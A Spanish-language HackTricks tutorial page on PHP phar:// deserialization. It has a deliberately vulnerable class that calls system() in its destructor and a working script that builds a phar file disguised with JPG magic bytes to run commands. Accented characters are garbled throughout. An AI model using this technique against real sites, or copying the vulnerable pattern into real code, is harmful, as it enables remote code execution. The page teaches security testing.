phar:// deserialization

Reading time: 3 minutes

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Los archivos Phar (PHP Archive) contienen metadatos en formato serializado, por lo que, al ser analizados, estos metadatos son deserializados y puedes intentar abusar de una vulnerabilidad de deserializaci贸n dentro del c贸digo PHP.

Lo mejor de esta caracter铆stica es que esta deserializaci贸n ocurrir谩 incluso utilizando funciones de PHP que no eval煤an c贸digo PHP como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize().

As铆 que, imagina una situaci贸n en la que puedes hacer que un web PHP obtenga el tama帽o de un archivo arbitrario utilizando el protocolo phar://, y dentro del c贸digo encuentras una clase similar a la siguiente:

vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

Puedes crear un phar archivo que al ser cargado abusar谩 de esta clase para ejecutar comandos arbitrarios con algo como:

create_phar.php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

Nota c贸mo los bytes m谩gicos de JPG (\xff\xd8\xff) se a帽aden al principio del archivo phar para eludir posibles restricciones de subida de archivos.
Compila el archivo test.phar con:

bash
php --define phar.readonly=0 create_phar.php

Y ejecuta el comando whoami abusando del c贸digo vulnerable con:

bash
php vuln.php

Referencias

{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks